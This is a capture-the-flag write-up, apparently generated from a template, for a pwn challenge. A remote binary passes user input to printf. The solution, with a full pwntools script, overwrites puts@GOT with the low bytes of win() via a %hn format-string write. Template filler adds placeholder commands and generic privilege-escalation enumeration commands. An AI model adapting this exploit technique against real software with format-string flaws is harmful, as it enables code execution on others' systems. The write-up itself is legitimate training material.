Just Print It
Just Print It
Platform: Metactf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: format_string_write, got_overwrite, partial_got_overwrite
Summary
Task: a remote binary reads one line with fgets() and passes it directly to printf(), creating a format string bug in front of a final puts() call. Solution: place puts@GOT on the stack, use %8$hn to write the low two bytes of win(), and let the next puts() jump into the flag-printing routine.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
metactf| ID:20260410_metactf_just_print_it - Tags: format_string, ret2win, got_overwrite, fgets, no_pie, printf
- Indicators: printf(buffer) uses user input as the format string, a useful win() function already prints flag.txt, puts() is called immediately after the vulnerable printf(), the controlled pointer lands at stack argument 8 after 16-byte padding
- Source:
20260410_metactf_just_print_it.md
Foothold
Vulnerability / Misconfiguration
- Format_string_write
- Got_overwrite
- Partial_got_overwrite
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- format_string_write
- got_overwrite
- partial_got_overwrite
- Tags: format_string, ret2win, got_overwrite, fgets, no_pie, printf
Original Writeup
<details><summary>Click to expand original content</summary>Challenge
A server at nc.umbccd.net:8925 reads input with fgets into a 128-byte buffer and then calls printf(buffer), followed by puts("\nGoodbye!"). The provided source also contains a win() function that opens flag.txt and prints it.
We are given a small 64-bit ELF source and a remote service running it. The objective is to turn the unsafe printf(buffer) into code execution and redirect the program into win(), which prints the flag and exits.
Analysis
The bug is a classic format string vulnerability:
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("\nGoodbye!");
Because our input becomes the format string itself, we control both reads from the stack (%p, %x, positional arguments) and writes through %n-style specifiers. That makes the immediately following puts() call the perfect control-flow target: if we overwrite puts@GOT with win, the next call transfers execution straight into the flag routine.
The useful addresses were:
puts@got = 0x404000win = 0x401196
Only the low 16 bits needed to change. Writing 0x1196 into puts@GOT with %hn was enough because the higher bytes already matched the same binary/PLT region.
Reconnaissance
The key reconnaissance step was finding where an appended pointer appears in printf's argument list. By padding the format string portion to 16 bytes and then appending an 8-byte address, the controlled qword became reachable as positional argument 8.
That gives a stable primitive of the form:
%<count>c%8$hn + <8-byte destination address>
Since win = 0x401196, we need printf to have emitted 0x1196 = 4502 characters before %8$hn executes. Therefore the final write count is produced with %4502c.
Exploitation Strategy
- Use the format string to place
puts@GOTon the stack as argument 8. - Print 4502 characters so the current byte count becomes
0x1196. - Execute
%8$hnto write those low two bytes into0x404000. - Let the program continue normally.
- The next
puts("\nGoodbye!")resolves through the overwritten GOT entry and jumps towin()instead.
This is cleaner than building a larger payload because the binary already calls the function we want to hijack immediately after the vulnerable sink.
Final Exploit
#!/usr/bin/env python3
from pwn import *
HOST, PORT = 'nc.umbccd.net', 8925
PUTS_GOT = 0x404000
def main():
payload = b'%4502c%8$hn'.ljust(16, b'A') + p64(PUTS_GOT)
io = remote(HOST, PORT, timeout=5)
io.sendline(payload)
print(io.recvall(timeout=2).decode('latin-1', 'replace'))
if __name__ == '__main__':
main()
The service returns output containing:
Flag: DawgCTF{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR